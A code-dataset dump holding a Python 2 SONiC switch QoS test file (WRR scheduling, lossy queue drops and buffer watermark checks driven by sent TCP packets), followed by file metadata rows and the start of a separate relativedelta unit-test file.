sched_prof_id=sai_thrift_create_scheduler_profile(self.client,RELEASE_PORT_MAX_RATE)
attr_value = sai_thrift_attribute_value_t(oid=sched_prof_id)
attr = sai_thrift_attribute_t(id=SAI_PORT_ATTR_QOS_SCHEDULER_PROFILE_ID, value=attr_value)
self.client.sai_thrift_set_port_attribute(port_list[dst_port_id],attr)
print "END OF TEST"
class WRRtest(sai_base_test.ThriftInterfaceDataPlane):
def runTest(self):
switch_init(self.client)
# Parse input parameters
ecn = int(self.test_params['ecn'])
router_mac = self.test_params['router_mac']
dst_port_id = int(self.test_params['dst_port_id'])
dst_port_ip = self.test_params['dst_port_ip']
dst_port_mac = self.dataplane.get_mac(0, dst_port_id)
src_port_id = int(self.test_params['src_port_id'])
src_port_ip = self.test_params['src_port_ip']
src_port_mac = self.dataplane.get_mac(0, src_port_id)
print >> sys.stderr, "dst_port_id: %d, src_port_id: %d" % (dst_port_id, src_port_id)
print >> sys.stderr, "dst_port_mac: %s, src_port_mac: %s, src_port_ip: %s, dst_port_ip: %s" % (dst_port_mac, src_port_mac, src_port_ip, dst_port_ip)
asic_type = self.test_params['sonic_asic_type']
default_packet_length = 1500
exp_ip_id = 110
queue_0_num_of_pkts = int(self.test_params['q0_num_of_pkts'])
queue_1_num_of_pkts = int(self.test_params['q1_num_of_pkts'])
queue_2_num_of_pkts = int(self.test_params['q2_num_of_pkts'])
queue_3_num_of_pkts = int(self.test_params['q3_num_of_pkts'])
queue_4_num_of_pkts = int(self.test_params['q4_num_of_pkts'])
queue_5_num_of_pkts = int(self.test_params['q5_num_of_pkts'])
queue_6_num_of_pkts = int(self.test_params['q6_num_of_pkts'])
limit = int(self.test_params['limit'])
pkts_num_leak_out = int(self.test_params['pkts_num_leak_out'])
sai_thrift_port_tx_disable(self.client, asic_type, [dst_port_id])
# Send packets to leak out
pkt = simple_tcp_packet(pktlen=64,
eth_dst=router_mac if router_mac != '' else dst_port_mac,
eth_src=src_port_mac,
ip_src=src_port_ip,
ip_dst=dst_port_ip,
ip_ttl=64)
send_packet(self, src_port_id, pkt, pkts_num_leak_out)
# Get a snapshot of counter values
port_counters_base, queue_counters_base = sai_thrift_read_port_counters(self.client, port_list[dst_port_id])
# Send packets to each queue based on dscp field
dscp = 3
tos = dscp << 2
tos |= ecn
pkt = simple_tcp_packet(pktlen=default_packet_length,
eth_dst=router_mac if router_mac != '' else dst_port_mac,
eth_src=src_port_mac,
ip_src=src_port_ip,
ip_dst=dst_port_ip,
ip_tos=tos,
ip_id=exp_ip_id,
ip_ttl=64)
send_packet(self, src_port_id, pkt, queue_3_num_of_pkts)
dscp = 4
tos = dscp << 2
tos |= ecn
pkt = simple_tcp_packet(pktlen=default_packet_length,
eth_dst=router_mac if router_mac != '' else dst_port_mac,
eth_src=src_port_mac,
ip_src=src_port_ip,
ip_dst=dst_port_ip,
ip_tos=tos,
ip_id=exp_ip_id,
ip_ttl=64)
send_packet(self, src_port_id, pkt, queue_4_num_of_pkts)
dscp = 8
tos = dscp << 2
tos |= ecn
pkt = simple_tcp_packet(pktlen=default_packet_length,
eth_dst=router_mac if router_mac != '' else dst_port_mac,
eth_src=src_port_mac,
ip_src=src_port_ip,
ip_dst=dst_port_ip,
ip_tos=tos,
ip_id=exp_ip_id,
ip_ttl=64)
send_packet(self, src_port_id, pkt, queue_0_num_of_pkts)
dscp = 0
tos = dscp << 2
tos |= ecn
pkt = simple_tcp_packet(pktlen=default_packet_length,
eth_dst=router_mac if router_mac != '' else dst_port_mac,
eth_src=src_port_mac,
ip_src=src_port_ip,
ip_dst=dst_port_ip,
ip_tos=tos,
ip_id=exp_ip_id,
ip_ttl=64)
send_packet(self, src_port_id, pkt, queue_1_num_of_pkts)
dscp = 5
tos = dscp << 2
tos |= ecn
pkt = simple_tcp_packet(pktlen=default_packet_length,
eth_dst=router_mac if router_mac != '' else dst_port_mac,
eth_src=src_port_mac,
ip_src=src_port_ip,
ip_dst=dst_port_ip,
ip_tos=tos,
ip_id=exp_ip_id,
ip_ttl=64)
send_packet(self, src_port_id, pkt, queue_2_num_of_pkts)
dscp = 46
tos = dscp << 2
tos |= ecn
pkt = simple_tcp_packet(pktlen=default_packet_length,
eth_dst=router_mac if router_mac != '' else dst_port_mac,
eth_src=src_port_mac,
ip_src=src_port_ip,
ip_dst=dst_port_ip,
ip_tos=tos,
ip_id=exp_ip_id,
ip_ttl=64)
send_packet(self, src_port_id, pkt, queue_5_num_of_pkts)
dscp = 48
tos = dscp << 2
tos |= ecn
pkt = simple_tcp_packet(pktlen=default_packet_length,
eth_dst=router_mac if router_mac != '' else dst_port_mac,
eth_src=src_port_mac,
ip_src=src_port_ip,
ip_dst=dst_port_ip,
ip_tos=tos,
ip_id=exp_ip_id,
ip_ttl=64)
send_packet(self, src_port_id, pkt, queue_6_num_of_pkts)
# Set receiving socket buffers to some big value
for p in self.dataplane.ports.values():
p.socket.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 41943040)
# Release port
sai_thrift_port_tx_enable(self.client, asic_type, [dst_port_id])
cnt = 0
pkts = []
recv_pkt = scapy.Ether()
while recv_pkt:
received = self.dataplane.poll(device_number=0, port_number=dst_port_id, timeout=2)
if isinstance(received, self.dataplane.PollFailure):
recv_pkt = None
break
recv_pkt = scapy.Ether(received.packet)
try:
if recv_pkt.payload.src == src_port_ip and recv_pkt.payload.dst == dst_port_ip and recv_pkt.payload.id == exp_ip_id:
cnt += 1
pkts.append(recv_pkt)
except AttributeError:
continue
queue_pkt_counters = [0] * 49
queue_num_of_pkts = [0] * 49
queue_num_of_pkts[8] = queue_0_num_of_pkts
queue_num_of_pkts[0] = queue_1_num_of_pkts
queue_num_of_pkts[5] = queue_2_num_of_pkts
queue_num_of_pkts[3] = queue_3_num_of_pkts
queue_num_of_pkts[4] = queue_4_num_of_pkts
queue_num_of_pkts[46] = queue_5_num_of_pkts
queue_num_of_pkts[48] = queue_6_num_of_pkts
total_pkts = 0
for pkt_to_inspect in pkts:
dscp_of_pkt = pkt_to_inspect.payload.tos >> 2
total_pkts += 1
# Count packet ordering
queue_pkt_counters[dscp_of_pkt] += 1
if queue_pkt_counters[dscp_of_pkt] == queue_num_of_pkts[dscp_of_pkt]:
assert((queue_0_num_of_pkts + queue_1_num_of_pkts + queue_2_num_of_pkts + queue_3_num_of_pkts + queue_4_num_of_pkts + queue_5_num_of_pkts + queue_6_num_of_pkts) - total_pkts < limit)
print >> sys.stderr, queue_pkt_counters
# Read counters
print "DST port counters: "
port_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[dst_port_id])
print >> sys.stderr, map(operator.sub, queue_counters, queue_counters_base)
# All packets sent should be received intact
assert(queue_0_num_of_pkts + queue_1_num_of_pkts + queue_2_num_of_pkts + queue_3_num_of_pkts + queue_4_num_of_pkts + queue_5_num_of_pkts + queue_6_num_of_pkts == total_pkts)
class LossyQueueTest(sai_base_test.ThriftInterfaceDataPlane):
def runTest(self):
switch_init(self.client)
# Parse input parameters
dscp = int(self.test_params['dscp'])
ecn = int(self.test_params['ecn'])
pg = int(self.test_params['pg']) + 2 # The pfc counter index starts from index 2 in sai_thrift_read_port_counters
router_mac = self.test_params['router_mac']
max_buffer_size = int(self.test_params['buffer_max_size'])
headroom_size = int(self.test_params['headroom_size'])
dst_port_id = int(self.test_params['dst_port_id'])
dst_port_ip = self.test_params['dst_port_ip']
dst_port_mac = self.dataplane.get_mac(0, dst_port_id)
dst_port_2_id = int(self.test_params['dst_port_2_id'])
dst_port_2_ip = self.test_params['dst_port_2_ip']
dst_port_2_mac = self.dataplane.get_mac(0, dst_port_2_id)
src_port_id = int(self.test_params['src_port_id'])
src_port_ip = self.test_params['src_port_ip']
src_port_mac = self.dataplane.get_mac(0, src_port_id)
asic_type = self.test_params['sonic_asic_type']
# prepare tcp packet data
tos = dscp << 2
tos |= ecn
ttl = 64
pkts_num_leak_out = int(self.test_params['pkts_num_leak_out'])
pkts_num_trig_egr_drp = int(self.test_params['pkts_num_trig_egr_drp'])
default_packet_length = 64
pkt = simple_tcp_packet(pktlen=default_packet_length,
eth_dst=router_mac if router_mac != '' else dst_port_mac,
eth_src=src_port_mac,
ip_src=src_port_ip,
ip_dst=dst_port_ip,
ip_tos=tos,
ip_ttl=ttl)
# get a snapshot of counter values at recv and transmit ports
# queue_counters value is not of our interest here
recv_counters_base, queue_counters = sai_thrift_read_port_counters(self.client, port_list[src_port_id])
xmit_counters_base, queue_counters = sai_thrift_read_port_counters(self.client, port_list[dst_port_id])
# add slight tolerance in threshold characterization to consider
# the case that cpu puts packets in the egress queue after we pause the egress
# or the leak out is simply less than expected as we have occasionally observed
margin = 2
sai_thrift_port_tx_disable(self.client, asic_type, [dst_port_id])
try:
# send packets short of triggering egress drop
send_packet(self, src_port_id, pkt, pkts_num_leak_out + pkts_num_trig_egr_drp - 1 - margin)
# allow enough time for the dut to sync up the counter values in counters_db
time.sleep(8)
# get a snapshot of counter values at recv and transmit ports
# queue counters value is not of our interest here
recv_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[src_port_id])
xmit_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[dst_port_id])
# recv port no pfc
assert(recv_counters[pg] == recv_counters_base[pg])
# recv port no ingress drop
assert(recv_counters[INGRESS_DROP] == recv_counters_base[INGRESS_DROP])
# xmit port no egress drop
assert(xmit_counters[EGRESS_DROP] == xmit_counters_base[EGRESS_DROP])
# send 1 packet to trigger egress drop
send_packet(self, src_port_id, pkt, 1 + 2 * margin)
# allow enough time for the dut to sync up the counter values in counters_db
time.sleep(8)
# get a snapshot of counter values at recv and transmit ports
# queue counters value is not of our interest here
recv_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[src_port_id])
xmit_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[dst_port_id])
# recv port no pfc
assert(recv_counters[pg] == recv_counters_base[pg])
# recv port no ingress drop
assert(recv_counters[INGRESS_DROP] == recv_counters_base[INGRESS_DROP])
# xmit port egress drop
assert(xmit_counters[EGRESS_DROP] > xmit_counters_base[EGRESS_DROP])
finally:
sai_thrift_port_tx_enable(self.client, asic_type, [dst_port_id])
# pg shared pool applied to both lossy and lossless traffic
class PGSharedWatermarkTest(sai_base_test.ThriftInterfaceDataPlane):
def runTest(self):
time.sleep(5)
switch_init(self.client)
# Parse input parameters
dscp = int(self.test_params['dscp'])
ecn = int(self.test_params['ecn'])
router_mac = self.test_params['router_mac']
print >> sys.stderr, "router_mac: %s" % (router_mac)
pg = int(self.test_params['pg'])
dst_port_id = int(self.test_params['dst_port_id'])
dst_port_ip = self.test_params['dst_port_ip']
dst_port_mac = self.dataplane.get_mac(0, dst_port_id)
src_port_id = int(self.test_params['src_port_id'])
src_port_ip = self.test_params['src_port_ip']
src_port_mac = self.dataplane.get_mac(0, src_port_id)
asic_type = self.test_params['sonic_asic_type']
pkts_num_leak_out = int(self.test_params['pkts_num_leak_out'])
pkts_num_fill_min = int(self.test_params['pkts_num_fill_min'])
pkts_num_fill_shared = int(self.test_params['pkts_num_fill_shared'])
cell_size = int(self.test_params['cell_size'])
# Prepare TCP packet data
tos = dscp << 2
tos |= ecn
ttl = 64
default_packet_length = 64
pkt = simple_tcp_packet(pktlen=default_packet_length,
eth_dst=router_mac if router_mac != '' else dst_port_mac,
eth_src=src_port_mac,
ip_src=src_port_ip,
ip_dst=dst_port_ip,
ip_tos=tos,
ip_ttl=ttl)
# Add slight tolerance in threshold characterization to consider
# the case that cpu puts packets in the egress queue after we pause the egress
# or the leak out is simply less than expected as we have occasionally observed
margin = 2
sai_thrift_port_tx_disable(self.client, asic_type, [dst_port_id])
# send packets
try:
# send packets to fill pg min but not trek into shared pool
# so if pg min is zero, it directly treks into shared pool by 1
# this is the case for lossy traffic
send_packet(self, src_port_id, pkt, pkts_num_leak_out + pkts_num_fill_min)
time.sleep(8)
q_wm_res, pg_shared_wm_res, pg_headroom_wm_res = sai_thrift_read_port_watermarks(self.client, port_list[src_port_id])
print >> sys.stderr, "Init pkts num sent: %d, min: %d, actual watermark value to start: %d" % ((pkts_num_leak_out + pkts_num_fill_min), pkts_num_fill_min, pg_shared_wm_res[pg])
if pkts_num_fill_min:
assert(pg_shared_wm_res[pg] == 0)
else:
# on t1-lag, we found vm will keep sending control
# packets, this will cause the watermark to be 2 * 208 bytes
# as all lossy packets are now mapped to single pg 0
# so we remove the strict equity check, and use upper bound
# check instead
assert(1 * cell_size <= pg_shared_wm_res[pg])
assert(pg_shared_wm_res[pg] <= margin * cell_size)
# send packet batch of fixed packet numbers to fill pg shared
# first round sends only 1 packet
expected_wm = 0
total_shared = pkts_num_fill_shared - pkts_num_fill_min
pkts_inc = total_shared >> 2
pkts_num = 1 + margin
while (expected_wm < total_shared):
expected_wm += pkts_num
if (expected_wm > total_shared):
pkts_num -= (expected_wm - total_shared)
expected_wm = total_shared
print >> sys.stderr, "pkts num to send: %d, total pkts: %d, pg shared: %d" % (pkts_num, expected_wm, total_shared)
send_packet(self, src_port_id, pkt, pkts_num)
time.sleep(8)
q_wm_res, pg_shared_wm_res, pg_headroom_wm_res = sai_thrift_read_port_watermarks(self.client, port_list[src_port_id])
print >> sys.stderr, "lower bound: %d, actual value: %d, upper bound (+%d): %d" % (expected_wm * cell_size, pg_shared_wm_res[pg], margin, (expected_wm + margin) * cell_size)
assert(pg_shared_wm_res[pg] <= (expected_wm + margin) * cell_size)
assert(expected_wm * cell_size <= pg_shared_wm_res[pg])
pkts_num = pkts_inc
# overflow the shared pool
send_packet(self, src_port_id, pkt, pkts_num)
time.sleep(8)
q_wm_res, pg_shared_wm_res, pg_headroom_wm_res = sai_thrift_read_port_watermarks(self.client, port_list[src_port_id])
print >> sys.stderr, "exceeded pkts num sent: %d, expected watermark: %d, actual value: %d" % (pkts_num, (expected_wm * cell_size), pg_shared_wm_res[pg])
assert(expected_wm == total_shared)
assert(expected_wm * cell_size <= pg_shared_wm_res[pg])
assert(pg_shared_wm_res[pg] <= (expected_wm + margin) * cell_size)
finally:
sai_thrift_port_tx_enable(self.client, asic_type, [dst_port_id])
# pg headroom is a notion for lossless traffic only
class PGHeadroomWatermarkTest(sai_base_test.ThriftInterfaceDataPlane):
def runTest(self):
time.sleep(5)
switch_init(self.client)
# Parse input parameters
dscp = int(self.test_params['dscp'])
ecn = int(self.test_params['ecn'])
router_mac = self.test_params['router_mac']
print >> sys.stderr, "router_mac: %s" % (router_mac)
pg = int(self.test_params['pg'])
dst_port_id = int(self.test_params['dst_port_id'])
dst_port_ip = self.test_params['dst_port_ip']
dst_port_mac = self.dataplane.get_mac(0, dst_port_id)
src_port_id = int(self.test_params['src_port_id'])
src_port_ip = self.test_params['src_port_ip']
src_port_mac = self.dataplane.get_mac(0, src_port_id)
asic_type = self.test_params['sonic_asic_type']
pkts_num_leak_out = int(self.test_params['pkts_num_leak_out'])
pkts_num_trig_pfc = int(self.test_params['pkts_num_trig_pfc'])
pkts_num_trig_ingr_drp = int(self.test_params['pkts_num_trig_ingr_drp'])
cell_size = int(self.test_params['cell_size'])
# Prepare TCP packet data
tos = dscp << 2
tos |= ecn
ttl = 64
default_packet_length = 64
pkt = simple_tcp_packet(pktlen=default_packet_length,
eth_dst=router_mac if router_mac != '' else dst_port_mac,
eth_src=src_port_mac,
ip_src=src_port_ip,
ip_dst=dst_port_ip,
ip_tos=tos,
ip_ttl=ttl)
# Add slight tolerance in threshold characterization to consider
# the case that cpu puts packets in the egress queue after we pause the egress
# or the leak out is simply less than expected as we have occasionally observed
margin = 0
sai_thrift_port_tx_disable(self.client, asic_type, [dst_port_id])
# send packets
try:
# send packets to trigger pfc but not trek into headroom
send_packet(self, src_port_id, pkt, pkts_num_leak_out + pkts_num_trig_pfc)
time.sleep(8)
q_wm_res, pg_shared_wm_res, pg_headroom_wm_res = sai_thrift_read_port_watermarks(self.client, port_list[src_port_id])
assert(pg_headroom_wm_res[pg] == 0)
# send packet batch of fixed packet numbers to fill pg headroom
# first round sends only 1 packet
expected_wm = 0
total_hdrm = pkts_num_trig_ingr_drp - pkts_num_trig_pfc - 1
pkts_inc = total_hdrm >> 2
pkts_num = 1 + margin
while (expected_wm < total_hdrm):
expected_wm += pkts_num
if (expected_wm > total_hdrm):
pkts_num -= (expected_wm - total_hdrm)
expected_wm = total_hdrm
print >> sys.stderr, "pkts num to send: %d, total pkts: %d, pg headroom: %d" % (pkts_num, expected_wm, total_hdrm)
send_packet(self, src_port_id, pkt, pkts_num)
time.sleep(8)
q_wm_res, pg_shared_wm_res, pg_headroom_wm_res = sai_thrift_read_port_watermarks(self.client, port_list[src_port_id])
print >> sys.stderr, "lower bound: %d, actual value: %d, upper bound: %d" % ((expected_wm - margin) * cell_size, pg_headroom_wm_res[pg], (expected_wm * cell_size))
assert(pg_headroom_wm_res[pg] <= expected_wm * cell_size)
assert((expected_wm - margin) * cell_size <= pg_headroom_wm_res[pg])
pkts_num = pkts_inc
# overflow the headroom
send_packet(self, src_port_id, pkt, pkts_num)
time.sleep(8)
q_wm_res, pg_shared_wm_res, pg_headroom_wm_res = sai_thrift_read_port_watermarks(self.client, port_list[src_port_id])
print >> sys.stderr, "exceeded pkts num sent: %d, actual value: %d, expected watermark: %d" % (pkts_num, pg_headroom_wm_res[pg], (expected_wm * cell_size))
assert(expected_wm == total_hdrm)
assert(pg_headroom_wm_res[pg] == expected_wm * cell_size)
finally:
sai_thrift_port_tx_enable(self.client, asic_type, [dst_port_id])
class QSharedWatermarkTest(sai_base_test.ThriftInterfaceDataPlane):
def runTest(self):
time.sleep(5)
switch_init(self.client)
# Parse input parameters
dscp = int(self.test_params['dscp'])
ecn = int(self.test_params['ecn'])
router_mac = self.test_params['router_mac']
print >> sys.stderr, "router_mac: %s" % (router_mac)
queue = int(self.test_params['queue'])
dst_port_id = int(self.test_params['dst_port_id'])
dst_port_ip = self.test_params['dst_port_ip']
dst_port_mac = self.dataplane.get_mac(0, dst_port_id)
src_port_id = int(self.test_params['src_port_id'])
src_port_ip = self.test_params['src_port_ip']
src_port_mac = self.dataplane.get_mac(0, src_port_id)
asic_type = self.test_params['sonic_asic_type']
pkts_num_leak_out = int(self.test_params['pkts_num_leak_out'])
pkts_num_fill_min = int(self.test_params['pkts_num_fill_min'])
pkts_num_trig_drp = int(self.test_params['pkts_num_trig_drp'])
cell_size = int(self.test_params['cell_size'])
# Prepare TCP packet data
tos = dscp << 2
tos |= ecn
ttl = 64
default_packet_length = 64
pkt = simple_tcp_packet(pktlen=default_packet_length,
eth_dst=router_mac if router_mac != '' else dst_port_mac,
eth_src=src_port_mac,
ip_src=src_port_ip,
ip_dst=dst_port_ip,
ip_tos=tos,
ip_ttl=ttl)
# Add slight tolerance in threshold characterization to consider
# the case that cpu puts packets in the egress queue after we pause the egress
# or the leak out is simply less than expected as we have occasionally observed
#
# On TH2 using scheduler-based TX enable, we find the Q min being inflated
# to have 0x10 = 16 cells. This effect is captured in lossy traffic queue
# shared test, so the margin here actually means extra capacity margin
margin = 8
sai_thrift_port_tx_disable(self.client, asic_type, [dst_port_id])
# send packets
try:
# send packets to fill queue min but not trek into shared pool
# so if queue min is zero, it will directly trek into shared pool by 1
# TH2 uses scheduler-based TX enable, this does not require sending packets
# to leak out
send_packet(self, src_port_id, pkt, pkts_num_leak_out + pkts_num_fill_min)
time.sleep(8)
q_wm_res, pg_shared_wm_res, pg_headroom_wm_res = sai_thrift_read_port_watermarks(self.client, port_list[dst_port_id])
print >> sys.stderr, "Init pkts num sent: %d, min: %d, actual watermark value to start: %d" % ((pkts_num_leak_out + pkts_num_fill_min), pkts_num_fill_min, q_wm_res[queue])
if pkts_num_fill_min:
assert(q_wm_res[queue] == 0)
else:
assert(q_wm_res[queue] <= 1 * cell_size)
# send packet batch of fixed packet numbers to fill queue shared
# first round sends only 1 packet
expected_wm = 0
total_shared = pkts_num_trig_drp - pkts_num_fill_min - 1
pkts_inc = total_shared >> 2
pkts_num = 1 + margin
while (expected_wm < total_shared):
expected_wm += pkts_num
if (expected_wm > total_shared):
pkts_num -= (expected_wm - total_shared)
expected_wm = total_shared
print >> sys.stderr, "pkts num to send: %d, total pkts: %d, queue shared: %d" % (pkts_num, expected_wm, total_shared)
send_packet(self, src_port_id, pkt, pkts_num)
time.sleep(8)
q_wm_res, pg_shared_wm_res, pg_headroom_wm_res = sai_thrift_read_port_watermarks(self.client, port_list[dst_port_id])
print >> sys.stderr, "lower bound: %d, actual value: %d, upper bound: %d" % (expected_wm * cell_size, q_wm_res[queue], (expected_wm * cell_size))
assert(q_wm_res[queue] <= expected_wm * cell_size)
assert(expected_wm * cell_size <= q_wm_res[queue])
pkts_num = pkts_inc
# overflow the shared pool
send_packet(self, src_port_id, pkt, pkts_num)
time.sleep(8)
q_wm_res, pg_shared_wm_res, pg_headroom_wm_res = sai_thrift_read_port_watermarks(self.client, port_list[dst_port_id])
print >> sys.stderr, "exceeded pkts num sent: %d, expected watermark: %d, actual value: %d" % (pkts_num, (expected_wm * cell_size), q_wm_res[queue])
assert(expected_wm == total_shared)
assert(expected_wm * cell_size <= q_wm_res[queue])
assert(q_wm_res[queue] <= (expected_wm + margin) * cell_size)
finally:
sai_thrift_port_tx_enable(self.client, asic_type, [dst_port_id])
# TODO: buffer pool roid should be obtained via rpc calls
# based on the pg or queue index
# rather than fed in as test parameters due to the lack in SAI implement
class BufferPoolWatermarkTest(sai_base_test.ThriftInterfaceDataPlane):
def runTest(self):
time.sleep(5)
switch_init(self.client)
# Parse input parameters
dscp = int(self.test_params['dscp'])
ecn = int(self.test_params['ecn'])
router_mac = self.test_params['router_mac']
print >> sys.stderr, "router_mac: %s" % (router_mac)
pg = self.test_params['pg']
queue = self.test_params['queue']
print >> sys.stderr, "pg: %s, queue: %s, buffer pool type: %s" % (pg, queue, 'egress' if not pg else 'ingress')
dst_port_id = int(self.test_params['dst_port_id'])
dst_port_ip = self.test_params['dst_port_ip']
dst_port_mac = self.dataplane.get_mac(0, dst_port_id)
src_port_id = int(self.test_params['src_port_id'])
src_port_ip = self.test_params['src_port_ip']
src_port_mac = self.dataplane.get_mac(0, src_port_id)
asic_type = self.test_params['sonic_asic_type']
pkts_num_leak_out = int(self.test_params['pkts_num_leak_out'])
pkts_num_fill_min = int(self.test_params['pkts_num_fill_min'])
pkts_num_fill_shared = int(self.test_params['pkts_num_fill_shared'])
cell_size = int(self.test_params['cell_size'])
print >> sys.stderr, "buf_pool_roid: %s" % (self.test_params['buf_pool_roid'])
buf_pool_roid=int(self.test_params['buf_pool_roid'], 0)
print >> sys.stderr, "buf_pool_roid: 0x%lx" % (buf_pool_roid)
# Prepare TCP packet data
tos = dscp << 2
tos |= ecn
ttl = 64
default_packet_length = 64
pkt = simple_tcp_packet(pktlen=default_packet_length,
eth_dst=router_mac if router_mac != '' else dst_port_mac,
eth_src=src_port_mac,
ip_src=src_port_ip,
ip_dst=dst_port_ip,
ip_tos=tos,
ip_ttl=ttl)
# Add slight tolerance in threshold characterization to consider
# the case that cpu puts packets in the egress queue after we pause the egress
# or the leak out is simply less than expected as we have occasionally observed
upper_bound_margin = 2
# On TD2, we found the watermark value is always short of the expected
# value by 1
lower_bound_margin = 1
# On TH2 using scheduler-based TX enable, we find the Q min being inflated
# to have 0x10 = 16 cells. This effect is captured in lossy traffic ingress
# buffer pool test and lossy traffic egress buffer pool test to illusively
# have extra capacity in the buffer pool space
extra_cap_margin = 8
# Adjust the methodology to enable TX for each incremental watermark value test
# To this end, send the total # of packets instead of the incremental amount
# to refill the buffer to the exepected level
pkts_num_to_send = 0
# send packets
try:
# send packets to fill min but not trek into shared pool
# so if min is zero, it directly treks into shared pool by 1
# this is the case for lossy traffic at ingress and lossless traffic at egress (on td2)
# Because lossy and lossless traffic use the same pool at ingress, even if
# lossless traffic has pg min not equal to zero, we still need to consider
# the impact caused by lossy traffic
#
# TH2 uses scheduler-based TX enable, this does not require sending packets to leak out
sai_thrift_port_tx_disable(self.client, asic_type, [dst_port_id])
pkts_num_to_send += (pkts_num_leak_out + pkts_num_fill_min)
send_packet(self, src_port_id, pkt, pkts_num_to_send)
sai_thrift_port_tx_enable(self.client, asic_type, [dst_port_id])
time.sleep(8)
buffer_pool_wm = sai_thrift_read_buffer_pool_watermark(self.client, buf_pool_roid)
print >> sys.stderr, "Init pkts num sent: %d, min: %d, actual watermark value to start: %d" % ((pkts_num_leak_out + pkts_num_fill_min), pkts_num_fill_min, buffer_pool_wm)
if pkts_num_fill_min:
assert(buffer_pool_wm <= upper_bound_margin * cell_size)
else:
# on t1-lag, we found vm will keep sending control
# packets, this will cause the watermark to be 2 * 208 bytes
# as all lossy packets are now mapped to single pg 0
# so we remove the strict equity check, and use upper bound
# check instead
assert(buffer_pool_wm <= upper_bound_margin * cell_size)
# send packet batch of fixed packet numbers to fill shared
# first round sends only 1 packet
expected_wm = 0
total_shared = pkts_num_fill_shared - pkts_num_fill_min
pkts_inc = total_shared >> 2
pkts_num = 1 + upper_bound_margin
while (expected_wm < total_shared):
expected_wm += pkts_num
if (expected_wm > total_shared):
pkts_num -= (expected_wm - total_shared)
expected_wm = total_shared
print >> sys.stderr, "pkts num to send: %d, total pkts: %d, shared: %d" % (pkts_num, expected_wm, total_shared)
sai_thrift_port_tx_disable(self.client, asic_type, [dst_port_id])
pkts_num_to_send += pkts_num
send_packet(self, src_port_id, pkt, pkts_num_to_send)
sai_thrift_port_tx_enable(self.client, asic_type, [dst_port_id])
time.sleep(8)
buffer_pool_wm = sai_thrift_read_buffer_pool_watermark(self.client, buf_pool_roid)
print >> sys.stderr, "lower bound (-%d): %d, actual value: %d, upper bound (+%d): %d" % (lower_bound_margin, (expected_wm - lower_bound_margin)* cell_size, buffer_pool_wm, upper_bound_margin, (expected_wm + upper_bound_margin) * cell_size)
assert(buffer_pool_wm <= (expected_wm + upper_bound_margin) * cell_size)
assert((expected_wm - lower_bound_margin)* cell_size <= buffer_pool_wm)
pkts_num = pkts_inc
# overflow the shared pool
sai_thrift_port_tx_disable(self.client, asic_type, [dst_port_id])
pkts_num_to_send += pkts_num
send_packet(self, src_port_id, pkt, pkts_num_to_send)
sai_thrift_port_tx_enable(self.client, asic_type, [dst_port_id])
time.sleep(8)
buffer_pool_wm = sai_thrift_read_buffer_pool_watermark(self.client, buf_pool_roid)
print >> sys.stderr, "exceeded pkts num sent: %d, expected watermark: %d, actual value: %d" % (pkts_num, (expected_wm * cell_size), buffer_pool_wm)
assert(expected_wm == total_shared)
assert((expected_wm - lower_bound_margin)* cell_size <= buffer_pool_wm)
assert(buffer_pool_wm <= (expected_wm + extra_cap_margin) * cell_size)
finally:
sai_thrift_port_tx_enable(self.client, asic_type, [dst_port_id])
| 51.095826
| 255
| 0.599455
| 11,838
| 86,914
| 4.047136
| 0.044856
| 0.039303
| 0.048508
| 0.032999
| 0.857128
| 0.835734
| 0.81889
| 0.805093
| 0.785598
| 0.769213
| 0
| 0.01425
| 0.322572
| 86,914
| 1,700
| 256
| 51.125882
| 0.799467
| 0.148883
| 0
| 0.707438
| 0
| 0.004132
| 0.063541
| 0.001168
| 0
| 0
| 0.000109
| 0.000588
| 0.075207
| 0
| null | null | 0
| 0.010744
| null | null | 0.073554
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
862e466ac7771d61c98f0538f0acbf37acf341a7
| 4,351
|
py
|
Python
|
tests/test_dateutil.py
|
Lufedi/reaper
|
bdf56b499e5b704c27b9f6c053d798c2a10fa4cf
|
[
"Apache-2.0"
] | 106
|
2015-07-21T16:18:26.000Z
|
2022-03-31T06:45:34.000Z
|
tests/test_dateutil.py
|
Kowndinya2000/enhanced_repo_reaper
|
744f794ba53bde5667b3b0f99b07273d0e32a495
|
[
"Apache-2.0"
] | 21
|
2015-07-11T03:48:28.000Z
|
2022-01-18T12:57:30.000Z
|
tests/test_dateutil.py
|
Kowndinya2000/enhanced_repo_reaper
|
744f794ba53bde5667b3b0f99b07273d0e32a495
|
[
"Apache-2.0"
] | 26
|
2015-07-22T22:38:21.000Z
|
2022-03-14T10:11:56.000Z
|
import unittest
from lib import dateutil
class RelativeDeltaTestCase(unittest.TestCase):
def test_lt_negative(self):
# Arrange
delta = dateutil.relativedelta(years=1, months=2)
threshold = dateutil.relativedelta(years=1)
expected = False
# Act
actual = delta < threshold
# Assert
self.assertEqual(expected, actual)
# Arrange
delta = dateutil.relativedelta(years=1)
threshold = dateutil.relativedelta(years=1)
expected = False
# Act
actual = delta < threshold
# Assert
self.assertEqual(expected, actual)
def test_lt_positive(self):
# Arrange
delta = dateutil.relativedelta(years=1, months=2)
threshold = dateutil.relativedelta(years=1, months=6)
expected = True
# Act
actual = delta < threshold
# Assert
self.assertEqual(expected, actual)
def test_gt_negative(self):
# Arrange
delta = dateutil.relativedelta(years=1, months=2)
threshold = dateutil.relativedelta(years=1, months=6)
expected = False
# Act
actual = delta > threshold
# Assert
self.assertEqual(expected, actual)
# Arrange
delta = dateutil.relativedelta(years=1, months=6)
threshold = dateutil.relativedelta(years=1, months=6)
expected = False
# Act
actual = delta > threshold
# Assert
self.assertEqual(expected, actual)
def test_gt_positive(self):
# Arrange
delta = dateutil.relativedelta(years=2)
threshold = dateutil.relativedelta(years=1, months=6)
expected = True
# Act
actual = delta > threshold
# Assert
self.assertEqual(expected, actual)
def test_le_negative(self):
# Arrange
delta = dateutil.relativedelta(years=2)
threshold = dateutil.relativedelta(years=1, months=6)
expected = False
# Act
actual = delta <= threshold
# Assert
